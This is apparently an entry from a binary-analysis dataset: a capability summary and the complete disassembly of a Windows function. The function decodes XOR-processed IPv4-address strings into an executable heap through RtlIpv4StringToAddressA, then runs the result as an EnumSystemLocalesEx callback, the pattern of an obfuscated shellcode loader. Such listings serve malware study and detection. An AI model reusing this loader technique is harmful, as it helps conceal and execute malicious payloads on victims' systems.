Function at 0x140001620
Capabilities:
Convert ip address from string
Encode data using xor
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov rax, qword [0x14014b040]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov r13d, dword [rsp + 0x50]
lea r12, str.40.55.46.1
xor r14d, r14d
mov r15d, r14d
nop dword [rax]
mov rbx, qword [r12]
lea r8, [rsp + 0x54]
mov rdx, rbx
mov ecx, 2
call qword [sym.imp.WS2_32.dll_inet_pton]
cmp eax, 1
jne 0x14000168b
mov ecx, dword [rsp + 0x54]
call qword [sym.imp.WS2_32.dll_ntohl]
mov r13d, eax
jmp 0x1400016c8
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Failed_to_convert
call fcn.140001030
mov rcx, rax
mov rdx, rbx
call fcn.140001030
mov rcx, rax
lea rdx, str._to_integer_format
call fcn.140001030
mov rcx, rax
lea rdx, [0x140001390]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [0x140277178], 0xf
lea rbp, [0x140277160]
mov rsi, qword [0x140277170]
movabs rax, 0x7fffffffffffffff
cmova rbp, qword [0x140277160]
xorps xmm0, xmm0
mov qword [rsp + 0x38], r14
movups xmmword [rsp + 0x20], xmm0
cmp rsi, rax
ja 0x140001ae9
cmp rsi, 0xf
ja 0x14000172e
movups xmm0, xmmword [rbp]
mov edi, 0xf
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rdi
movups xmmword [rsp + 0x20], xmm0
movq rbx, xmm0
jmp 0x1400017c3
mov rdi, rsi
or rdi, 0xf
cmp rdi, rax
jbe 0x14000174d
mov rdi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14000177e
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140001768
mov rbx, r14
jmp 0x1400017a5
cmp rcx, 0x1000
jb 0x14000179d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001ae3
mov rcx, rax
call fcn.140001b58
test rax, rax
je 0x1400019d9
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x1400017a5
call fcn.140001b58
mov rbx, rax
lea r8, [rsi + 1]
mov qword [rsp + 0x20], rbx
mov rdx, rbp
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [section..data]
mov ebp, r13d
test ecx, ecx
jle 0x14000185d
mov eax, 1
cdq
idiv esi
mov eax, 2
movsxd r8, edx
cdq
idiv esi
mov eax, 3
movsxd r9, edx
cdq
idiv esi
movsxd r10, edx
mov edx, ecx
nop word [rax + rax]
cmp rdi, 0xf
lea rax, [rsp + 0x20]
cmova rax, rbx
movsx eax, byte [rax]
xor ebp, eax
lea rax, [rsp + 0x20]
cmp rdi, 0xf
cmova rax, rbx
movsx eax, byte [r8 + rax]
shl eax, 8
xor ebp, eax
lea rax, [rsp + 0x20]
cmp rdi, 0xf
cmova rax, rbx
movsx eax, byte [r9 + rax]
shl eax, 0x10
xor ebp, eax
lea rax, [rsp + 0x20]
cmp rdi, 0xf
cmova rax, rbx
movsx eax, byte [r10 + rax]
shl eax, 0x18
xor ebp, eax
sub rdx, 1
jne 0x140001800
cmp rdi, 0xf
jbe 0x140001894
lea rdx, [rdi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000188c
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400019d9
mov rcx, rbx
call fcn.140001b94
mov ecx, ebp
call qword [sym.imp.WS2_32.dll_htonl]
mov edi, 0x16
mov dword [rsp + 0x50], eax
mov ecx, edi
call fcn.140001b9c
mov r9d, edi
lea rdx, [rsp + 0x50]
mov r8, rax
mov ecx, 2
mov rbx, rax
call sub.WS2_32.dll_inet_ntop
test rax, rax
jne 0x1400018ef
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_converting_int_to_IP_address.
call fcn.140001030
mov rcx, rax
lea rdx, [0x140001390]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, r14
lea rax, [0x14014b160]
movsxd rcx, r15d
shl rcx, 4
mov r9d, 0x10
add rcx, rax
mov r8, rbx
mov edx, r9d
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy_s]
inc r15d
add r12, 8
cmp r15d, 0x12c00
jb 0x140001660
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rcx, str.Ntdll.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.HeapCreate
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.HeapAlloc
mov rcx, rdi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CloseHandle
mov rcx, rdi
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlIpv4StringToAddressA
mov rcx, rbx
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.EnumSystemLocalesEx
mov rcx, rdi
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r8d, r8d
mov qword [rsp + 0x48], r14
xor edx, edx
mov ecx, 0x40000
mov r13, rax
call rsi
test rax, rax
jne 0x1400019e0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.___Failed_to_create_a_heap___u__n
call fcn.140001af0
mov eax, 0xffffffff
jmp 0x140001a95
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xor edx, edx
mov r8d, 0x100000
mov rcx, rax
call rbp
mov rbp, rax
test rax, rax
jne 0x140001a13
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.___Failed_to_allocate_memory_on_the_heap___u__n
call fcn.140001af0
mov eax, 0xfffffffe
jmp 0x140001a95
mov rbx, rbp
nop word [rax + rax]
lea rcx, [0x14014b160]
movsxd rdi, r14d
shl rdi, 4
lea r8, [rsp + 0x48]
add rdi, rcx
mov r9, rbx
mov rcx, rdi
xor edx, edx
call r15
mov esi, eax
test eax, eax
js 0x140001ac0
add rbx, 4
inc r14d
cmp r14d, 0x12c00
jl 0x140001a20
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbp
call r13
mov edx, 0x12c000
mov r8d, 0x4000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rbp
call r12
xor edx, edx
lea rcx, str.40.55.46.1
mov r8d, 0x96000
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140001e70
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, esi
lea rcx, str.____RtlIpv6StringToAddressA_failed_in__s_result__x___u_
mov r9d, eax
mov rdx, rdi
call fcn.140001af0
mov rcx, rbp
call r12
jmp 0x140001a93
call fcn.1400015b0
int3
call fcn.1400015d0
int3